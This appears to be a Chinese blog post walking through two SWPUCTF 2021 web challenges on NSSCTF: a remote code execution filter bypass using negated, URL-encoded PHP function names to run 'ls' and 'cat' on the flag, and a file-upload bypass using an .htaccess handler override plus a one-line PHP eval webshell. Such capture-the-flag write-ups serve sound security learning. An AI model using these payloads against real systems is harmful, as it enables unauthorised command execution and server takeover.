NSSCTF-Web题目4
[SWPUCTF 2021 新生赛]hardrce
1、题目

2、知识点
rce:远程代码执行、url取反编码
3、解题思路
打开题目

出现一段代码,审计源代码
题目需要我们通过get方式输入变量wllm的值
但是变量的值被过滤了,不能输入字母和\t、\n等值
所以我们需要绕过这些过滤
源代码有eval函数,说明存在rce(远程代码执行漏洞),我们可以构造系统执行命令获取服务器的数据
eval()
通过查看wp,我们可以对输入的内容,先取反,再进行url编码,然后再进行取反传给服务器端
这里为什么要进行取反呢?
因为取反后再编码的数据不会被识别为字母,且没有那些被过滤的字符
~ 就是取反符号
例如

我们可以先构造phpinfo()尝试是否可以实现
执行php代码我是在网上找了一个在线工具,url如下
PHP 在线工具 | 菜鸟工具 (jyshare.com)
编码
<?php
echo urlencode(~'phpinfo');
?>

将编码后的值再取反传给wllm
http://node5.anna.nssctf.cn:26911/?wllm=(~%8F%97%8F%96%91%99%90)();

结果正常执行,说明这种方式可以绕过。
接下来因为有eval函数,我们可以构造系统执行命令进行执行
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'ls /');
?>

php执行系统命令,需要使用好system这个函数
http://node5.anna.nssctf.cn:26911/?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

可以看到有flllllaaaaaaggggggg这个文件
使用cat命令
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'cat /flllllaaaaaaggggggg');
?>

http://node5.anna.nssctf.cn:26911/?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

得到flag NSSCTF{99f12d58-f315-4e8d-a69d-ba2572aaf510}
[SWPUCTF 2021 新生赛]easyupload3.0
1、题目

2、知识点
文件上传绕过,.htaccess文件的利用
3、解题思路

打开题目,是一道文件上传的题目,我们先上传一个文件,并抓包看看

是一个apache服务
尝试改后缀,发现绕过不了

这里使用了apache服务,可以采用.htaccess文件进行绕过

我们可以上传一个.htaccess文件,内容如下
<FilesMatch "abc.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
这段代码的作用是将abc.jpg文件当成php文件执行,abc.jpg是我们自己构造上传的,可以根据自己需要命令
将.htaccess文件上传后我们就上传abc.jpg文件,内容为一句话木马
<?php
@eval($_POST['cmd']);
?>
上传完成功后使用蚁剑进行连接

连接成功后可以看到服务器的文件,在html文件夹下可以看到flag.php文件,打开得到flag


NSSCTF{bf0e1c22-b359-4868-94bb-ccc79a7501bf}
这篇文章就先写到这里了,哪里不足的欢迎批评指正
相关文章:
NSSCTF-Web题目4
[SWPUCTF 2021 新生赛]hardrce 1、题目 2、知识点 rce:远程代码执行、url取反编码 3、解题思路 打开题目 出现一段代码,审计源代码 题目需要我们通过get方式输入变量wllm的值 但是变量的值被过滤了,不能输入字母和\t、\n等值 所以我们需…...
7. CSS 网格布局
CSS3引入了强大的网格布局(Grid Layout),它提供了一种二维的布局方式,使得创建复杂的网页布局变得更加简单和直观。通过定义行和列,我们可以精确控制网页元素的排列和对齐。本章将详细介绍网格布局的基本概念和属性&am…...
如何配置才能连接远程服务器上的 redis server ?
文章目录 Intro修改点 Intro 以阿里云服为例。 首先,我在我买的阿里云服务器中以下载源码、手动编译的方式安装了 redis-server,操作流程见:Ubuntu redis 下载解压配置使用及密码管理 && 包管理工具联网安装。 接着,我…...
MindSpore实践图神经网络之环境篇
MindSpore在Windows11系统下的环境配置。 MindSpore环境配置大概分为三步:(1)安装Python环境,(2)安装MindSpore,(3)验证是否成功 如果是GPU环境还需安装CUDA等环境&…...
MVS net笔记和理解
文章目录 传统的方法有什么缺陷吗?MVSnet深度的预估 传统的方法有什么缺陷吗? 传统的mvs算法它对图像的光照要求相对较高,但是在实际中要保证照片的光照效果很好是很难的。所以传统算法对镜面反射,白墙这种的重建效果就比较差。 …...
Linux 编译屏障之 ACCESS_ONCE()
文章目录 1. 前言2. 背景3. 为什么要有 ACCESS_ONCE() ?4. ACCESS_ONCE() 代码实现5. ACCESS_ONCE() 实例分析6. ACCESS() 的演进7. 结语8. 参考资料 1. 前言 限于作者能力水平,本文可能存在谬误,因此而给读者带来的损失,作者不做…...
Discuz!X3.4论坛网站公安备案号怎样放到网站底部?
Discuz!网站的工信部备案号都知道在后台——全局——站点信息——网站备案信息代码填写,那公安备案号要添加在哪里呢?并没有看到公安备案号填写栏,今天驰网飞飞和你分享 1)工信部备案号和公安备案号统一填写到网站备案…...
LPDDR6带宽预计将翻倍增长:应对低功耗挑战与AI时代能源需求激增
在当前科技发展的背景下,低能耗问题成为了业界关注的焦点。国际能源署(IEA)近期报告显示,日常的数字活动对电力消耗产生显著影响——每次Google搜索平均消耗0.3瓦时(Wh),而向OpenAI的ChatGPT提出的每一次请求则消耗2.9…...
云原生架构内涵_3.主要架构模式
云原生架构有非常多的架构模式,这里列举一些对应用收益更大的主要架构模式,如服务化架构模式、Mesh化架构模式、Serverless模式、存储计算分离模式、分布式事务模式、可观测架构、事件驱动架构等。 1.服务化架构模式 服务化架构是云时代构建云原生应用的…...
宏基因组分析流程(Metagenomic workflow)202405|持续更新
Logs 增加R包pctax内的一些帮助上游分析的小脚本(2024.03.03)增加Mmseqs2用于去冗余,基因聚类的速度非常快,且随序列量线性增长(2024.03.12)更新全文细节(2024.05.29) 注意&#x…...
一千题,No.0037(组个最小数)
给定数字 0-9 各若干个。你可以以任意顺序排列这些数字,但必须全部使用。目标是使得最后得到的数尽可能小(注意 0 不能做首位)。例如:给定两个 0,两个 1,三个 5,一个 8,我们得到的最…...
PV PVC
默写 1 如何将pod创建在指定的Node节点上 node亲和、pod亲和、pod反亲和: 调度策略 匹配标签 操作符 nodeAffinity 主机 In,NotIn,Exists,DoesNotExist,Gt,Lt podAffinity …...
深入理解Nginx配置文件:全面指南
Nginx 是一个高性能的 HTTP 服务器和反向代理服务器,也是一个电子邮件(IMAP/POP3)代理服务器。由于其高效性和灵活性,Nginx 被广泛应用于各种 web 服务中。本文将详细介绍 Nginx 配置文件的结构和主要配置项,帮助你深入…...
【传知代码】自监督高效图像去噪(论文复现)
前言:在数字化时代,图像已成为我们生活、工作和学习的重要组成部分。然而,随着图像获取方式的多样化,图像质量问题也逐渐凸显出来。噪声,作为影响图像质量的关键因素之一,不仅会降低图像的视觉效果…...
linnux上安装php zip(ZipArchive)、libzip扩展
安装顺序: 安装zip(ZipArchive),需要先安装libzip扩展 安装libzip,需要先安装cmake 按照cmake、libzip、zip的先后顺序安装 下面的命令都是Linux命令 1、安装cmake 确认是否已安装 cmake --version cmake官网 未安装…...
油封制品中各种橡胶材料的差异
在机械系统中,油封起着关键的作用,其主要功能是防止润滑剂泄漏和污染物进入。油封的性能很大程度上取决于所用的橡胶材料。不同的橡胶化合物各有其独特的特性、优点和应用场景。本文将详细探讨油封制品中各种橡胶材料的差异,重点分析其特性、…...
梳理清楚的echarts地图下钻和标点信息组件
效果图 说明 默认数据没有就是全国地图, $bus.off("onresize")是地图容器变化刷新地图适配的,可以你们自己写 getEchartsFontSize是适配字体大小的,getEchartsFontSize(0.12) 12 mapScatter是base64图片就是图上那个标点的底图 Ge…...
【busybox记录】【shell指令】readlink
目录 内容来源: 【GUN】【readlink】指令介绍 【busybox】【readlink】指令介绍 【linux】【readlink】指令介绍 使用示例: 打印符号链接或规范文件名的值 - 默认输出 打印符号链接或规范文件名的值 - 打印规范文件的全路径 打印符号链接或规范文…...
C++之vector
1、标准库的vector类型 2、vector对象的初始化 3、vector常用成员函数 #include <vector> #include <algorithm> #include <iostream> using namespace std;typedef vector<int> INTVEC;// 普通方法 //void showVec(const INTVEC& vec) // 这边如…...
【简单介绍下idm有那些优势】
🎥博主:程序员不想YY啊 💫CSDN优质创作者,CSDN实力新星,CSDN博客专家 🤗点赞🎈收藏⭐再看💫养成习惯 ✨希望本文对您有所裨益,如有不足之处,欢迎在评论区提出…...
内存分配函数malloc kmalloc vmalloc
内存分配函数malloc kmalloc vmalloc malloc实现步骤: 1)请求大小调整:首先,malloc 需要调整用户请求的大小,以适应内部数据结构(例如,可能需要存储额外的元数据)。通常,这包括对齐调整,确保分配的内存地址满足特定硬件要求(如对齐到8字节或16字节边界)。 2)空闲…...
应用升级/灾备测试时使用guarantee 闪回点迅速回退
1.场景 应用要升级,当升级失败时,数据库回退到升级前. 要测试系统,测试完成后,数据库要回退到测试前。 相对于RMAN恢复需要很长时间, 数据库闪回只需要几分钟。 2.技术实现 数据库设置 2个db_recovery参数 创建guarantee闪回点,不需要开启数据库闪回。…...
Spring AI与Spring Modulith核心技术解析
Spring AI核心架构解析 Spring AI(https://spring.io/projects/spring-ai)作为Spring生态中的AI集成框架,其核心设计理念是通过模块化架构降低AI应用的开发复杂度。与Python生态中的LangChain/LlamaIndex等工具类似,但特别为多语…...
AI书签管理工具开发全记录(十九):嵌入资源处理
1.前言 📝 在上一篇文章中,我们完成了书签的导入导出功能。本篇文章我们研究如何处理嵌入资源,方便后续将资源打包到一个可执行文件中。 2.embed介绍 🎯 Go 1.16 引入了革命性的 embed 包,彻底改变了静态资源管理的…...
Go 语言并发编程基础:无缓冲与有缓冲通道
在上一章节中,我们了解了 Channel 的基本用法。本章将重点分析 Go 中通道的两种类型 —— 无缓冲通道与有缓冲通道,它们在并发编程中各具特点和应用场景。 一、通道的基本分类 类型定义形式特点无缓冲通道make(chan T)发送和接收都必须准备好࿰…...
OD 算法题 B卷【正整数到Excel编号之间的转换】
文章目录 正整数到Excel编号之间的转换 正整数到Excel编号之间的转换 excel的列编号是这样的:a b c … z aa ab ac… az ba bb bc…yz za zb zc …zz aaa aab aac…; 分别代表以下的编号1 2 3 … 26 27 28 29… 52 53 54 55… 676 677 678 679 … 702 703 704 705;…...
深入浅出Diffusion模型:从原理到实践的全方位教程
I. 引言:生成式AI的黎明 – Diffusion模型是什么? 近年来,生成式人工智能(Generative AI)领域取得了爆炸性的进展,模型能够根据简单的文本提示创作出逼真的图像、连贯的文本,乃至更多令人惊叹的…...
Tauri2学习笔记
教程地址:https://www.bilibili.com/video/BV1Ca411N7mF?spm_id_from333.788.player.switch&vd_source707ec8983cc32e6e065d5496a7f79ee6 官方指引:https://tauri.app/zh-cn/start/ 目前Tauri2的教程视频不多,我按照Tauri1的教程来学习&…...
李沐--动手学深度学习--GRU
1.GRU从零开始实现 #9.1.2GRU从零开始实现 import torch from torch import nn from d2l import torch as d2l#首先读取 8.5节中使用的时间机器数据集 batch_size,num_steps 32,35 train_iter,vocab d2l.load_data_time_machine(batch_size,num_steps) #初始化模型参数 def …...
深度解析云存储:概念、架构与应用实践
在数据爆炸式增长的时代,传统本地存储因容量限制、管理复杂等问题,已难以满足企业和个人的需求。云存储凭借灵活扩展、便捷访问等特性,成为数据存储领域的主流解决方案。从个人照片备份到企业核心数据管理,云存储正重塑数据存储与…...



